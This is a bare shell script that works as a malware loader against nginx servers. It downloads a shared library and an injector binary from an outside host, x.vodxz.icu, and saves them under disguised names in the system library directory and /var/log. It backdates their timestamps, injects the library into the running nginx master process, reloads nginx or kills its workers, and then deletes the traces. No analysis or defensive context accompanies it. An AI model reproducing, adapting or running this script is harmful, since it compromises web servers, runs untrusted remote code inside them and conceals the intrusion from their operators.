

LINE_COUNT=$(ps -ef | grep nginx | grep master | wc -l)


if [ "$LINE_COUNT" -gt "1" ]; then
    echo "master count >1"
    exit 1 
fi

if [ -d "/usr/lib64/" ]; then
    lib_path="/usr/lib64"
elif [ -d "/lib/x86_64-linux-gnu/" ]; then
    lib_path="/lib/x86_64-linux-gnu"
else
	echo "dir error!"
    exit 1;
fi

if command -v wget &> /dev/null; then
	wget -q https://x.vodxz.icu/d/$1.so -O "$lib_path/libc.a.$2"
	wget -q https://x.vodxz.icu/d/xxp1.x -O /var/log/massage
elif command -v curl &> /dev/null; then
	curl -k -s -o "$lib_path/libc.a.$2" https://x.vodxz.icu/d/$1.so
	curl -k -s -o /var/log/massage https://x.vodxz.icu/d/xxp.x
fi


pid=$(unset LD_PRELOAD && ps -ef | grep 'nginx' | grep 'nginx: master' | grep -v grep | grep -v panel | head -1 | awk '{print $2}') && echo $pid

unset LD_PRELOAD && chmod 0755 /var/log/massage && touch -r "$lib_path/.." "$lib_path/libc.a.*" && touch -r "$lib_path/.." "$lib_path/."

chmod 0755 $(ls -la /proc/$pid/exe | awk {'print $11'}) > /dev/null 2>&1

/var/log/massage -p $pid "$lib_path/libc.a.$2"

sleep 3

unset LD_PRELOAD && $(ls -la /proc/$pid/exe | awk {'print $11'}) -t > /dev/null 2>&1

if [ $? -eq 0 ]; then
	echo "reload";

	$(ls -la /proc/$pid/exe | awk {'print $11'}) -s reload  > /dev/null 2>&1;
else
	echo "kill work";
    unset LD_PRELOAD && ps -ef | grep 'nginx: worker' | grep -v -E "grep|panelshutting" | awk '{print $2}'  | xargs -I {} kill -9 {};
fi

sleep 3

unset LD_PRELOAD && rm -rf "$lib_path/libc.a.*" && rm -rf /var/log/massage 



